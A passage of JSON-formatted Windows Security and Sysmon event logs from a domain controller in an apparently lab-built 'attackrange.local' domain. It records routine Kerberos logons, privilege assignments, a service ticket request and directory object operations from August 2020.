11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2430,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00102F140200}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\system32\\dns.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31375|C:\\Windows\\system32\\lsasrv.dll+2f20b|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00102F140200}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\system32\\dns.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31375|C:\\Windows\\system32\\lsasrv.dll+2f20b|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221630,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42CFD\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x42cfd","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221631,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tDelegation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x42CFD\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t49716\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x42cfd","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"49716","ImpersonationLevel":"%%1840","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221632,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{5CFB240A-E6D1-50BF-1124-AEC849B823F4}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40800000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"WIN-DC-9849183$@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40800000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{5CFB240A-E6D1-50BF-1124-AEC849B823F4}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221633,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42D3B\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x42d3b","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221634,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x42D3B\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{70073692-21C6-24B2-B0B5-1E4E73760CBB}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t49718\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x42d3b","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{70073692-21C6-24B2-B0B5-1E4E73760CBB}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"49718","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4662,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14080,"OpcodeValue":0,"RecordNumber":221635,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An operation was performed on an object.\r\n\r\nSubject :\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42CFD\r\n\r\nObject:\r\n\tObject Server:\t\tDS\r\n\tObject Type:\t\t%{ef9e60e0-56f7-11d1-a9c6-0000f80367c1}\r\n\tObject Name:\t\t%{3e460a71-7939-4074-9e08-8906073b9d29}\r\n\tHandle ID:\t\t0x0\r\n\r\nOperation:\r\n\tOperation Type:\t\tObject Access\r\n\tAccesses:\t\tCreate Child\r\n\t\t\t\t\r\n\tAccess Mask:\t\t0x1\r\n\tProperties:\t\tCreate Child\r\n\t{bf967a8d-0de6-11d0-a285-00aa003049e2}\r\n\r\n\r\nAdditional Information:\r\n\tParameter 1:\t\tCN=c1d25920-d11b-4dc3-b0a0-8a958b3ad2b1,CN=Partitions,CN=Configuration,DC=attackrange,DC=local\r\n\tParameter 2:\t\t%{725bf849-1e54-4913-87d4-6f1c26534f66}","Category":"Directory Service Access","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x42cfd","ObjectServer":"DS","ObjectType":"%{ef9e60e0-56f7-11d1-a9c6-0000f80367c1}","ObjectName":"%{3e460a71-7939-4074-9e08-8906073b9d29}","OperationType":"Object Access","HandleId":"0x0","AccessList":"%%7680\r\n\t\t\t\t","AccessMask":"0x1","Properties":"%%7680\r\n\t{bf967a8d-0de6-11d0-a285-00aa003049e2}\r\n","AdditionalInfo":"CN=c1d25920-d11b-4dc3-b0a0-8a958b3ad2b1,CN=Partitions,CN=Configuration,DC=attackrange,DC=local","AdditionalInfo2":"%{725bf849-1e54-4913-87d4-6f1c26534f66}","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4662,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14080,"OpcodeValue":0,"RecordNumber":221636,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An operation was performed on an object.\r\n\r\nSubject :\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42CFD\r\n\r\nObject:\r\n\tObject Server:\t\tDS\r\n\tObject Type:\t\t%{bf967a8d-0de6-11d0-a285-00aa003049e2}\r\n\tObject Name:\t\t%{725bf849-1e54-4913-87d4-6f1c26534f66}\r\n\tHandle ID:\t\t0x0\r\n\r\nOperation:\r\n\tOperation Type:\t\tObject Access\r\n\tAccesses:\t\tWrite Property\r\n\t\t\t\t\r\n\tAccess Mask:\t\t0x20\r\n\tProperties:\t\tWrite Property\r\n\t\t{771727b1-31b8-4cdf-ae62-4fe39fadf89e}\r\n\t\t\t{a8df73f2-c5ea-11d1-bbcb-0080c76670c0}\r\n\t\t\t{bf967959-0de6-11d0-a285-00aa003049e2}\r\n\t\t\t{97de9615-b537-46bc-ac0f-10720f3909f3}\r\n\t\t\t{4c51e316-f628-43a5-b06b-ffb695fcb4f3}\r\n\t\t{e48d0154-bcf8-11d1-8702-00c04fb96050}\r\n\t\t\t{e0fa1e62-9b45-11d0-afdd-00c04fd930c9}\r\n\t{bf967a8d-0de6-11d0-a285-00aa003049e2}\r\n\r\n\r\nAdditional Information:\r\n\tParameter 1:\t\t-\r\n\tParameter 2:\t\t","Category":"Directory Service Access","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x42cfd","ObjectServer":"DS","ObjectType":"%{bf967a8d-0de6-11d0-a285-00aa003049e2}","ObjectName":"%{725bf849-1e54-4913-87d4-6f1c26534f66}","OperationType":"Object Access","HandleId":"0x0","AccessList":"%%7685\r\n\t\t\t\t","AccessMask":"0x20","Properties":"%%7685\r\n\t\t{771727b1-31b8-4cdf-ae62-4fe39fadf89e}\r\n\t\t\t{a8df73f2-c5ea-11d1-bbcb-0080c76670c0}\r\n\t\t\t{bf967959-0de6-11d0-a285-00aa003049e2}\r\n\t\t\t{97de9615-b537-46bc-ac0f-10720f3909f3}\r\n\t\t\t{4c51e316-f628-43a5-b06b-ffb695fcb4f3}\r\n\t\t{e48d0154-bcf8-11d1-8702-00c04fb96050}\r\n\t\t\t{e0fa1e62-9b45-11d0-afdd-00c04fd930c9}\r\n\t{bf967a8d-0de6-11d0-a285-00aa003049e2}\r\n","AdditionalInfo":"-","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2431,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.359\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00102F140200}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\system32\\dns.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31375|C:\\Windows\\system32\\lsasrv.dll+2f20b|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.359","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00102F140200}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\system32\\dns.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31375|C:\\Windows\\system32\\lsasrv.dll+2f20b|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221637,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42D91\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x42d91","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221638,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon 